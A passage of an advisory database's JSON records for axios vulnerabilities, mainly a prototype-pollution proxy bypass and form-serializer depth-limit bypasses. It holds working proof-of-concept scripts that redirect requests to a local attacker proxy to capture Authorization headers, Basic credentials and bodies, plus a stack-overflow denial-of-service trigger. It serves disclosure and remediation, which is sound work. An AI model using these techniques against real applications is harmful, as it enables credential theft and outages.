gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-08-31T19:51:19.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx","https://nvd.nist.gov/vuln/detail/CVE-2026-67316","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods","https://github.com/advisories/GHSA-f2r5-pqh9-r8f8"],"source_kind":"github","identifiers":["GHSA-f2r5-pqh9-r8f8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-31T20:00:08.133Z","updated_at":"2026-09-19T09:00:40.962Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMnI1LXBxaDktcjhmOM4ABhCN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMnI1LXBxaDktcjhmOM4ABhCN","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMnI1LXBxaDktcjhmOM4ABhCN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00d3cyLXJqaDIteHB2Oc4ABhBt","url":"https://github.com/advisories/GHSA-4ww2-rjh2-xpv9","title":"Duplicate Advisory: Axios: Deep formToJSON Key Recursion Can Cause Denial of Service","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-pmv8-rq9r-6j72. This link is maintained to preserve external references.\n\n## Original Description\naxios versions from 0.28.0 before 0.33.0 and from 1.0.0 before 1.18.0 contain uncontrolled recursion in formDataToJSON (exposed as axios.formToJSON() and used internally when serializing FormData with Content-Type: application/json). When an application passes attacker-controlled FormData field names, a field name with thousands of nested bracket-delimited segments causes unbounded recursion in buildPath(), exhausting the JavaScript call stack (RangeError: Maximum call stack size exceeded) and causing denial of service for that request, or process termination in applications without appropriate error handling.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-08-31T20:02:56.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72","https://nvd.nist.gov/vuln/detail/CVE-2026-67312","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson","https://github.com/advisories/GHSA-4ww2-rjh2-xpv9"],"source_kind":"github","identifiers":["GHSA-4ww2-rjh2-xpv9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-31T21:00:09.580Z","updated_at":"2026-09-19T09:00:40.961Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3cyLXJqaDIteHB2Oc4ABhBt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00d3cyLXJqaDIteHB2Oc4ABhBt","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00d3cyLXJqaDIteHB2Oc4ABhBt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcTJqLTNqOTktcng2Nc4ABhBs","url":"https://github.com/advisories/GHSA-fq2j-3j99-rx65","title":"Duplicate Advisory: Axios: Excessive recursion in formDataToJSON can cause denial of service","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-42h9-826w-cgv3. This link is maintained to preserve external references.\n\n## Original Description\n\naxios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-09-01T18:40:20.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3","https://nvd.nist.gov/vuln/detail/CVE-2026-67313","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson","https://github.com/advisories/GHSA-fq2j-3j99-rx65"],"source_kind":"github","identifiers":["GHSA-fq2j-3j99-rx65"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T19:00:09.640Z","updated_at":"2026-09-19T09:00:40.937Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcTJqLTNqOTktcng2Nc4ABhBs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcTJqLTNqOTktcng2Nc4ABhBs","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcTJqLTNqOTktcng2Nc4ABhBs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","url":"https://github.com/advisories/GHSA-gcfj-64vw-6mp9","title":"Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning","description":"## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) =\u003e ({\n  ...config,\n  headers: {\n    ...config.headers,\n    'X-App': 'demo'\n  }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n  'http_proxy', 'https_proxy', 'all_proxy',\n  'NO_PROXY', 'no_proxy'\n]) {\n  delete process.env[key];\n}\n\nconst listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n  const server = http.createServer(handler);\n  server.once('error', reject);\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) =\u003e {\n  targetHits.push(req.url);\n  res.end('target');\n});\n\nconst proxy = await listen((req, res) =\u003e {\n  let body = '';\n  req.on('data', (chunk) =\u003e body += chunk);\n  req.on('end', () =\u003e {\n    proxyHits.push({\n      url: req.url,\n      authorization: req.headers.authorization,\n      host: req.headers.host,\n      body\n    });\n    res.setHeader('content-type', 'application/json');\n    res.end('{\"server\":\"proxy\"}');\n  });\n});\n\nObject.prototype.proxy = {\n  protocol: 'http',\n  host: '127.0.0.1',\n  port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) =\u003e ({\n  ...config,\n  headers: {\n    ...config.headers,\n    'X-App': 'demo'\n  }\n}));\n\ntry {\n  const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n  const res = await api.post(\n    url,\n    {secret: 'request-body-secret'},\n    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n  );\n\n  console.log({\n    response: res.data,\n    targetHits,\n    proxyHits,\n    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n  });\n} finally {\n  delete Object.prototype.proxy;\n  await close(target);\n  await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\n\n  Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n  interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n  is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n  ## Impact\n\n  In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n  request interceptor that returns a plain object copy of the config.\n\n  Verified local impact:\n\n  - Authenticated request redirection to attacker-controlled proxy.\n  - Disclosure of explicit Authorization headers.\n  - Disclosure of axios-generated Basic auth headers from config.auth.\n  - Disclosure of request metadata: method, absolute URL, Host header.\n  - Disclosure of POST body content.\n\n  This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n  ## Affected component\n\n  The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n  The issue requires:\n\n  - Node.js HTTP adapter usage.\n  - A polluted Object.prototype.proxy.\n  - A request interceptor that returns a plain object copy of the config.\n  - No own proxy: false or safe own proxy property on the request config.\n\n  ## Affected versions\n\n  Confirmed affected for this specific hardening-bypass variant:\n\n  - axios@1.15.2\n  - axios@1.16.0\n\n  axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n  Related older behavior observed during testing:\n\n  - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n  ## Root cause\n\n  1. Initial hardening\n\n     Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n  2. Interceptor re-materialization\n\n     Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n     prototype config back into a normal object with Object.prototype as its prototype.\n     Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n  3. No post-interceptor re-hardening\n\n     Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n  4. Prototype-chain read of proxy in the Node adapter\n\n     The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n     redirect the outgoing authenticated request through an attacker-controlled proxy.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n  ## Why this is a security issue and not intended behavior\n\n  Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n  existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n  This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n  immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n  ## Realistic threat model\n\n  A realistic exploit chain is:\n\n  1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n  2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n  3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n  4. The application sends an HTTP request with credentials or sensitive body data.\n  5. Axios routes that request through the inherited proxy configuration.\n\n  This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n  ## Proof of concept\n\n  Save as poc.mjs in the axios repository root:\n\n```js\n  import axios from './index.js';\n  import http from 'node:http';\n\n  const proxyEnvKeys = [\n    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n    'http_proxy', 'https_proxy', 'all_proxy',\n    'NO_PROXY', 'no_proxy'\n  ];\n\n  for (const key of proxyEnvKeys) delete process.env[key];\n\n  const listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n    const server = http.createServer(handler);\n    server.once('error', reject);\n    server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n  });\n\n  const close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\n  const targetHits = [];\n  const proxyHits = [];\n\n  const target = await listen((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e body += chunk);\n    req.on('end', () =\u003e {\n      targetHits.push({\n        url: req.url,\n        method: req.method,\n        authorization: req.headers.authorization || null,\n        body\n      });\n      res.writeHead(200, {'Content-Type': 'application/json'});\n      res.end(JSON.stringify({server: 'target'}));\n    });\n  });\n\n  const proxy = await listen((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e body += chunk);\n    req.on('end', () =\u003e {\n      proxyHits.push({\n        url: req.url,\n        method: req.method,\n        authorization: req.headers.authorization || null,\n        host: req.headers.host || null,\n        body\n      });\n      res.writeHead(200, {'Content-Type': 'application/json'});\n      res.end(JSON.stringify({server: 'proxy'}));\n    });\n  });\n\n  Object.prototype.proxy = {\n    protocol: 'http',\n    host: '127.0.0.1',\n    port: proxy.address().port\n  };\n\n  const api = axios.create();\n\n  api.interceptors.request.use((config) =\u003e ({\n    ...config,\n    headers: {\n      ...config.headers,\n      'X-App': 'demo'\n    }\n  }));\n\n  try {\n    const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n    const explicit = await api.get(url, {\n      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n    });\n\n    proxyHits.length = 0;\n    targetHits.length = 0;\n\n    const basic = await api.get(url, {\n      auth: {username: 'svc-account', password: 'prod-secret'}\n    });\n\n    proxyHits.length = 0;\n    targetHits.length = 0;\n\n    const post = await api.post(url, {secret: 'request-body-secret'}, {\n      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n    });\n\n    console.log(JSON.stringify({\n      explicitResponse: explicit.data,\n      basicResponse: basic.data,\n      postResponse: post.data,\n      targetHits,\n      proxyHits,\n      finalConfigPrototype:\n        Object.getPrototypeOf(post.config) === Object.prototype\n          ? 'Object.prototype'\n          : 'other',\n      finalConfigHasOwnProxy:\n        Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n    }, null, 2));\n  } finally {\n    delete Object.prototype.proxy;\n    await close(target);\n    await close(proxy);\n  }\n```\n\n  Run:\n```bash\n  npm ci\n  node poc.mjs\n```\n\n  ## Observed results\n\n  Representative observed output from local loopback testing:\n\n```text\n\n  {\n    \"explicitResponse\": {\"server\": \"proxy\"},\n    \"basicResponse\": {\"server\": \"proxy\"},\n    \"postResponse\": {\"server\": \"proxy\"},\n    \"targetHits\": [],\n    \"proxyHits\": [\n      {\n        \"url\": \"http://127.0.0.1:40613/api/secret\",\n        \"method\": \"POST\",\n        \"authorization\": \"Bearer EXPLICIT_SECRET\",\n        \"host\": \"127.0.0.1:40613\",\n        \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n      }\n    ],\n    \"finalConfigPrototype\": \"Object.prototype\",\n    \"finalConfigHasOwnProxy\": false\n  }\n\n  Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n  {\n    \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n  }\n\n```\n\n  That value decodes to:\n\n  svc-account:prod-secret\n\n  Negative controls were also tested:\n\n  - No interceptor: target receives request, proxy receives none.\n  - Interceptor mutating and returning the same config object: proxy receives none.\n  - Own proxy: false: proxy receives none.\n  - Null-prototype clone interceptor: proxy receives none.\n  - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n  ## Suggested remediation\n\n  Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n  A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n  also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n  ## Minimal regression test\n\n  Add an end-to-end Node HTTP adapter test that:\n\n  1. Starts a target server and attacker proxy on 127.0.0.1.\n  2. Sets Object.prototype.proxy to the attacker proxy.\n  3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n  4. Sends a request with an Authorization header.\n  5. Asserts the target server receives the request.\n  6. Asserts the attacker proxy receives no request.\n  7. Asserts the final config no longer exposes inherited proxy.\n\n  A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n  ## References / permalinks\n\n  - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n  - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n  - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n  - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n  - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n  - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n  - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T22:40:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67320","https://nvd.nist.gov/vuln/detail/CVE-2026-69124","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter","https://github.com/advisories/GHSA-gcfj-64vw-6mp9"],"source_kind":"github","identifiers":["GHSA-gcfj-64vw-6mp9","CVE-2026-67320"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-09-30T09:01:53.345Z","epss_percentage":0.00523,"epss_percentile":0.41832,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.1, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","url":"https://github.com/advisories/GHSA-hcpx-6fm6-wx23","title":"Axios form serializer maxDepth bypass via {} metatoken","description":"## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value \u0026\u0026 !path \u0026\u0026 typeof value === 'object') {\n  if (utils.endsWith(key, '{}')) {\n    key = metaTokens ? key : key.slice(0, -2);\n    value = JSON.stringify(value);\n  }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth \u003e maxDepth) {\n  throw new AxiosError(\n    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n  );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n  const head = {};\n  let cur = head;\n\n  for (let i = 0; i \u003c depth; i += 1) {\n    cur.x = {};\n    cur = cur.x;\n  }\n\n  return head;\n}\n\ntry {\n  toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n  console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError  Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -\u003e `defaults.transformRequest` -\u003e `toURLEncodedForm(data)` -\u003e `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -\u003e same path via `toFormData`\n- `axios.get(url, { params })` -\u003e `buildURL` -\u003e `new AxiosURLSearchParams(params)` -\u003e `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value \u0026\u0026 !path \u0026\u0026 typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // \u003c-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth \u003e maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the 